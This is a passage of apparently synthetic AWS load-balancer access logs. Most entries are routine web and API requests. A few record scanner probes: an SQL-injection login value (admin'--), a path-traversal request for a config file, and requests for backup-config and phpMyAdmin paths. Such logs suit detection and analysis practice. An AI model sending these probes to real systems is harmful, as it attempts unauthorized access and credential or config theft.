TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d918-18b067995ebd4395b706d55a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:23:04.181150Z "forward" "-" "-" "10.0.82.230:443" "200" "-" "-" -https 2024-11-01T02:23:05.885075Z prod-web-alb 219.73.90.91:58922 10.0.186.239:443 0.014845 0.171423 0.071949 200 200 200 11516 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d919-15026ea0bd1040dda11dc208" "prod-web-alb.example.com" "-" 1 2024-11-01T02:23:05.885075Z "forward" "-" "-" "10.0.186.239:443" "200" "-" "-" -https 2024-11-01T02:23:06.840122Z prod-web-alb 10.243.200.20:42136 10.0.211.32:443 0.014281 0.049061 0.073667 200 200 542 9594 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d91a-0db206725e444768b62a163d" "prod-web-alb.example.com" "-" 0 2024-11-01T02:23:06.840122Z "forward" "-" "-" "10.0.211.32:443" "200" "-" "-" -https 2024-11-01T02:23:07.879935Z prod-web-alb 44.205.118.223:37939 10.0.239.163:443 0.015923 0.003024 0.048892 302 302 820 4502 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d91b-7b69093065de42a2977427a4" "prod-web-alb.example.com" "-" 7 2024-11-01T02:23:07.879935Z "forward" "-" "-" "10.0.239.163:443" "302" "-" "-" -https 2024-11-01T02:23:08.251948Z prod-api-alb 248.101.225.135:10948 10.0.172.60:443 0.056984 0.235969 0.049427 200 200 416 1602 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d91c-806f101cd62e487bb9461624" "prod-api-alb.example.com" "-" 0 2024-11-01T02:23:08.251948Z "forward" "-" "-" "10.0.172.60:443" "200" "-" "-" -https 2024-11-01T02:23:09.400947Z prod-api-alb 229.126.151.222:42630 10.0.175.108:443 0.070754 0.266713 0.088249 200 200 836 13871 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d91d-f4a2ac92f7374ad2863d3d53" "prod-api-alb.example.com" "-" 10 2024-11-01T02:23:09.400947Z "forward" "-" "-" "10.0.175.108:443" "200" "-" "-" -http 2024-11-01T02:23:10.145435Z staging-alb 185.181.187.26:14894 206.31.177.42:80 0.056343 0.273223 0.128548 301 301 584 2721 "GET /wp-config.php.bak HTTP/1.1" "Qualys SSL Assessment Scanner" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d91e-97c40abead84435ca363cc4c" "-" "-" 10 2024-11-01T02:23:10.145435Z "forward" "-" "-" "206.31.177.42:80" "301" "-" "-" -https 2024-11-01T02:23:11.600212Z prod-api-alb 178.60.141.26:29234 10.0.108.1:443 0.018431 0.100024 0.065036 301 301 165 8069 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d91f-ee6ee9eae0414b1e805b5e03" "prod-api-alb.example.com" "-" 5 2024-11-01T02:23:11.600212Z "forward" "-" "-" "10.0.108.1:443" "301" "-" "-" -https 2024-11-01T02:23:11.736454Z prod-web-alb 241.102.69.206:59352 10.0.87.86:443 0.062849 0.290368 0.005280 404 404 183 8828 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d91f-ef4f7837ff5c47518059ae41" "prod-web-alb.example.com" "-" 1 2024-11-01T02:23:11.736454Z "forward" "-" "-" "10.0.87.86:443" "404" "-" "-" -https 2024-11-01T02:23:13.012286Z prod-web-alb 193.27.228.159:25701 10.0.69.194:443 0.027054 0.460857 0.028527 301 301 509 5879 "GET /phpmyadmin HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d921-d219e8f30f554c05a36acbde" "-" "-" 5 2024-11-01T02:23:13.012286Z "forward" "-" "-" "10.0.69.194:443" "301" "-" "-" -https 2024-11-01T02:23:13.401520Z prod-api-alb 46.71.74.62:19348 10.0.223.242:443 0.067953 0.133378 0.092937 200 200 976 11797 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d921-e80bbddb596240f2a0d17778" "prod-api-alb.example.com" "-" 1 2024-11-01T02:23:13.401520Z "forward" "-" "-" "10.0.223.242:443" "200" "-" "-" -http 2024-11-01T02:23:15.292630Z staging-alb 11.66.122.33:63758 76.228.224.15:80 0.109646 0.049810 0.023144 404 404 928 8942 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d923-c2fd5cf66d304126a096ebc9" "staging-alb.example.com" "-" 1 2024-11-01T02:23:15.292630Z "forward" "-" "-" "76.228.224.15:80" "404" "-" "-" -https 2024-11-01T02:23:16.215819Z prod-web-alb 177.206.48.151:56993 10.0.204.188:443 0.045438 0.277201 0.023330 302 302 334 13127 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d924-9bfe99006fa54e7facf2faad" "prod-web-alb.example.com" "-" 0 2024-11-01T02:23:16.215819Z "forward" "-" "-" "10.0.204.188:443" "302" "-" "-" -https 2024-11-01T02:23:18.046997Z prod-web-alb 107.140.48.183:11024 10.0.2.40:443 0.062577 0.186070 0.013598 200 200 402 6189 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d926-d98c2e4795d64ed19700a22a" "prod-web-alb.example.com" "-" 10 2024-11-01T02:23:18.046997Z "forward" "-" "-" "10.0.2.40:443" "200" "-" "-" -https 2024-11-01T02:23:19.381846Z prod-api-alb 110.248.129.149:58677 10.0.106.79:443 0.072264 0.125325 0.044671 301 301 644 3969 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d927-5ff5f96b99bf45bd87512632" "prod-api-alb.example.com" "-" 7 2024-11-01T02:23:19.381846Z "forward" "-" "-" "10.0.106.79:443" "301" "-" "-" -https 2024-11-01T02:23:20.823403Z prod-api-alb 146.163.99.134:21874 10.0.242.77:443 0.000299 0.221976 0.035395 200 200 640 11784 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d928-3090781595ea40c894f77a66" "-" "-" 4 2024-11-01T02:23:20.823403Z "forward" "-" "-" "10.0.242.77:443" "200" "-" "-" -http 2024-11-01T02:23:21.985147Z staging-alb 127.181.173.23:57767 253.217.61.35:443 0.033441 0.711959 0.012530 200 200 531 6381 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d929-d56ea7d55d404865adbe0135" "staging-alb.example.com" "-" 2 2024-11-01T02:23:21.985147Z "forward" "-" "-" "253.217.61.35:443" "200" "-" "-" -https 2024-11-01T02:23:23.278964Z staging-alb 131.23.99.80:11364 126.133.169.39:80 0.066525 0.381908 0.125581 302 302 776 12440 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d92b-d1ba54d22d8b47c8a015edd3" "staging-alb.example.com" "-" 1 2024-11-01T02:23:23.278964Z "forward" "-" "-" "126.133.169.39:80" "302" "-" "-" -http 2024-11-01T02:23:25.058683Z staging-alb 20.90.23.255:20259 213.49.41.219:8080 0.019198 0.337618 0.147628 301 301 930 8861 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d92d-fbc13c018f5a4ad1b6958bbb" "staging-alb.example.com" "-" 10 2024-11-01T02:23:25.058683Z "forward" "-" "-" "213.49.41.219:8080" "301" "-" "-" -http 2024-11-01T02:23:26.018361Z staging-alb 25.130.14.136:17091 197.222.179.139:443 0.067210 0.483294 0.099231 200 200 843 1734 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d92e-f4a87b46e0bb4a16936b70ed" "staging-alb.example.com" "-" 5 2024-11-01T02:23:26.018361Z "forward" "-" "-" "197.222.179.139:443" "200" "-" "-" -https 2024-11-01T02:23:26.404117Z staging-alb 16.135.251.32:22324 228.145.188.231:8080 0.068333 0.326974 0.036053 200 200 602 12309 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d92e-bfbe4a1815b944768aae0470" "staging-alb.example.com" "-" 8 2024-11-01T02:23:26.404117Z "forward" "-" "-" "228.145.188.231:8080" "200" "-" "-" -https 2024-11-01T02:23:27.283833Z prod-web-alb 193.27.228.8:18106 10.0.18.209:443 0.083494 0.075668 0.025266 500 500 722 13854 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "Nmap Scripting Engine (https://nmap.org/book/nse.html)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d92f-cbb7b32241b64547b60349af" "-" "-" 0 2024-11-01T02:23:27.283833Z "forward" "-" "-" "10.0.18.209:443" "500" "-" "-" -https 2024-11-01T02:23:27.869500Z prod-api-alb 21.203.214.80:17759 10.0.155.36:443 0.009599 0.250236 0.027417 200 200 337 10423 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d92f-352b5bed72df4e34a01fc656" "prod-api-alb.example.com" "-" 6 2024-11-01T02:23:27.869500Z "forward" "-" "-" "10.0.155.36:443" "200" "-" "-" -http 2024-11-01T02:23:29.463977Z staging-alb 4.241.197.160:58353 230.77.226.41:8080 0.022999 0.597503 0.073544 200 200 602 234 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d931-6d788eefb3e04c1b8d278dd2" "staging-alb.example.com" "-" 10 2024-11-01T02:23:29.463977Z "forward" "-" "-" "230.77.226.41:8080" "200" "-" "-" -https 2024-11-01T02:23:29.715125Z prod-web-alb 45.155.205.14:41899 10.0.85.253:443 0.051723 0.110342 0.098531 403 403 949 9752 "GET /api/../../../config HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d931-89486a784c7d40189a3487bf" "-" "-" 2 2024-11-01T02:23:29.715125Z "forward" "-" "-" "10.0.85.253:443" "403" "-" "-" -https 2024-11-01T02:23:30.456750Z prod-web-alb 55.159.227.49:21427 10.0.48.122:443 0.086230 0.344349 0.058069 200 200 563 5721 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d932-ad2aceae699940cb8eb8e9ef" "-" "-" 3 2024-11-01T02:23:30.456750Z "forward" "-" "-" "10.0.48.122:443" "200" "-" "-" -https 2024-11-01T02:23:31.447695Z prod-api-alb 233.47.72.145:50572 10.0.82.176:443 0.074181 0.163568 0.096377 200 200 513 11785 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d933-95326c3b2a054d3caa49f9d5" "prod-api-alb.example.com" "-" 0 2024-11-01T02:23:31.447695Z "forward" "-" "-" "10.0.82.176:443" "200" "-" "-" -https 2024-11-01T02:23:32.244463Z prod-web-alb 73.20.37.120:40998 10.0.165.34:443 0.099095 0.000898 0.096281 404 404 659 8725 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d934-460d737f227e454e8424db3f" "prod-web-alb.example.com" "-" 0 2024-11-01T02:23:32.244463Z "forward" "-" "-" "10.0.165.34:443" "404" "-" "-" -https 2024-11-01T02:23:33.739658Z prod-web-alb 185.181.245.151:54124 10.0.194.193:443 0.073930 0.145622 0.094812 401 401 840 3616 "POST /administrator HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d935-26c09b93a4b247e888b9f394" "-" "-" 3 2024-11-01T02:23:33.739658Z "forward" "-" "-" "10.0.194.193:443" "401" "-" "-" -https 2024-11-01T02:23:35.729444Z prod-api-alb 228.240.88.178:47799 10.0.109.147:443 0.021729 0.321888 0.029164 302 302 84 6496 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d937-a22f26c1590648d1b1698d65" "prod-api-alb.example.com" "-" 0 2024-11-01T02:23:35.729444Z "forward" "-" "-" "10.0.109.147:443" "302" "-" "-" -https 2024-11-01T02:23:36.706686Z prod-api-alb 224.127.206.89:40716 10.0.87.234:443 0.004428 0.156701 0.078073 200 200 545 6506 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d938-40209e5eee28454a8c85ff7d" "-" "-" 3 2024-11-01T02:23:36.706686Z "forward" "-" "-" "10.0.87.234:443" "200" "-" "-" -https 2024-11-01T02:23:38.308034Z prod-api-alb 188.120.158.72:61370 10.0.249.247:443 0.079575 0.301652 0.056026 200 200 144 10753 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d93a-b6a69790fed346e58edd4279" "prod-api-alb.example.com" "-" 3 2024-11-01T02:23:38.308034Z "forward" "-" "-" "10.0.249.247:443" "200" "-" "-" -https 2024-11-01T02:23:39.482890Z staging-alb 37.173.229.16:40461 176.197.10.6:443 0.002385 0.030983 0.035084 200 200 762 5250 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d93b-42fbec5ee0884b898311117d" "staging-alb.example.com" "-" 2 2024-11-01T02:23:39.482890Z "forward" "-" "-" "176.197.10.6:443" "200" "-" "-" -http 2024-11-01T02:23:40.471016Z staging-alb 117.48.244.82:17809 248.241.64.1:80 0.087632 0.645642 0.012720 200 200 334 1383 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d93c-9a16a32eb0e34adbb4aae881" "staging-alb.example.com" "-" 3 2024-11-01T02:23:40.471016Z "forward" "-" "-" "248.241.64.1:80" "200" "-" "-" -https 2024-11-01T02:23:42.174286Z prod-web-alb 127.163.40.103:16026 10.0.228.145:443 0.095162 0.416406 0.049013 301 301 561 5574 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d93e-aa556fa461e5400d8cdb2fd2" "prod-web-alb.example.com" "-" 10 2024-11-01T02:23:42.174286Z "forward" "-" "-" "10.0.228.145:443" "301" "-" "-" -https 2024-11-01T02:23:43.268530Z prod-web-alb 212.121.57.6:48043 10.0.42.227:443 0.026299 0.379090 0.059661 200 200 671 2191 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d93f-49af9b2813ad4aa38bba8787" "prod-web-alb.example.com" "-" 2 2024-11-01T02:23:43.268530Z "forward" "-" "-" "10.0.42.227:443" "200" "-" "-" -https 2024-11-01T02:23:45.040279Z prod-web-alb 233.78.147.148:20093 10.0.77.162:443 0.009774 0.353537 0.034389 200 200 134 826 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d941-86f11e5cd7164b2c9fb1eae4" "prod-web-alb.example.com" "-" 9 2024-11-01T02:23:45.040279Z "forward" "-" "-" "10.0.77.162:443" "200" "-" "-" -http 2024-11-01T02:23:45.727398Z staging-alb 231.177.191.239:48563 174.114.108.105:8080 0.077074 0.730628 0.113674 200 200 355 5749 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d941-641cce3149b34d68a4fcd80f" "staging-alb.example.com" "-" 1 2024-11-01T02:23:45.727398Z "forward" "-" "-" "174.114.108.105:8080" "200" "-" "-" -https 2024-11-01T02:23:47.354978Z prod-web-alb 52.188.196.66:33400 10.0.209.111:443 0.018509 0.148131 0.048833 200 200 767 7687 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d943-143dc840c2404bc2b9a660bc" "prod-web-alb.example.com" "-" 1 2024-11-01T02:23:47.354978Z "forward" "-" "-" "10.0.209.111:443" "200" "-" "-" -https 2024-11-01T02:23:49.301836Z staging-alb 223.187.203.133:39066 60.232.9.131:8080 0.072253 0.623989 0.067681 301 301 514 4046 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d945-37573d863940411399a6e6d0" "staging-alb.example.com" "-" 7 2024-11-01T02:23:49.301836Z "forward" "-" "-" "60.232.9.131:8080" "301" "-" "-" -http 2024-11-01T02:23:50.360007Z staging-alb 235.25.212.78:63775 136.31.69.106:443 0.018112 0.145409 0.146237 200 200 492 13332 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d946-0883098f7a554606ade68ba3" "staging-alb.example.com" "-" 2 2024-11-01T02:23:50.360007Z "forward" "-" "-" "136.31.69.106:443" "200" "-" "-" -https 2024-11-01T02:23:52.226907Z prod-web-alb 240.142.181.75:63876 10.0.240.113:443 0.014148 0.249007 0.042192 302 302 162 1601 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d948-41d88bb773ce47f39c247be1" "-" "-" 8 2024-11-01T02:23:52.226907Z "forward" "-" "-" "10.0.240.113:443" "302" "-" "-" -https 2024-11-01T02:23:53.371885Z prod-api-alb 162.76.229.6:10580 10.0.151.190:443 0.010795 0.438478 0.052744 200 200 560 8740 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d949-68583a13c5e447e1a4c0910b" "prod-api-alb.example.com" "-" 10 2024-11-01T02:23:53.371885Z "forward" "-" "-" "10.0.151.190:443" "200" "-" "-" -http 2024-11-01T02:23:54.474514Z staging-alb 85.170.0.22:45816 22.107.206.214:8080 0.100451 0.312261 0.096880 200 200 503 10735 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d94a-fe1e211b56eb4cd388a8a60a" "-" "-" 1 2024-11-01T02:23:54.474514Z "forward" "-" "-" "22.107.206.214:8080" "200" "-" "-" -https 2024-11-01T02:23:54.943992Z prod-web-alb 55.137.29.31:45397 10.0.10.188:443 0.048147 0.406809 0.007263 200 200 72 4523 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d94a-ca649e2d3df2426a92106a04" "prod-web-alb.example.com" "-" 5 2024-11-01T02:23:54.943992Z "forward" "-" "-" "10.0.10.188:443" "200" "-" "-" -https 2024-11-01T02:23:55.190102Z prod-api-alb 103.41.31.122:23640 10.0.174.252:443 0.048710 0.049324 0.060342 200 200 153 6781 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d94b-94dd3d3bd9fe4082b2174d6b" "prod-api-alb.example.com" "-" 8 2024-11-01T02:23:55.190102Z "forward" "-" "-" "10.0.174.252:443" "200" "-" "-" -https 2024-11-01T02:23:55.611234Z prod-api-alb 44.95.110.155:54748 10.0.136.28:443 0.084202 0.163395 0.005042 200 200 982 14847 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d94b-317a24ce93c448abb87ebaf5" "prod-api-alb.example.com" "-" 6 2024-11-01T02:23:55.611234Z "forward" "-" "-" "10.0.136.28:443" "200" "-" "-" -https 2024-11-01T02:23:57.423458Z prod-web-alb 64.252.64.80:48624 10.0.199.227:443 0.056370 0.190956 0.013319 200 200 959 5897 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d94d-2cd015320985487180b566a6" "prod-web-alb.example.com" "-" 8 2024-11-01T02:23:57.423458Z "forward" "-" "-" "10.0.199.227:443" "200" "-" "-" -https 2024-11-01T02:23:57.596321Z prod-web-alb 252.147.153.0:61929 10.0.237.207:443 0.060948 0.210912 0.021833 200 200 203 12969 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d94d-b20957aafba545cfad8c1bcb" "prod-web-alb.example.com" "-" 4 2024-11-01T02:23:57.596321Z "forward" "-" "-" "10.0.237.207:443" "200" "-" "-" -http 2024-11-01T02:23:57.761243Z 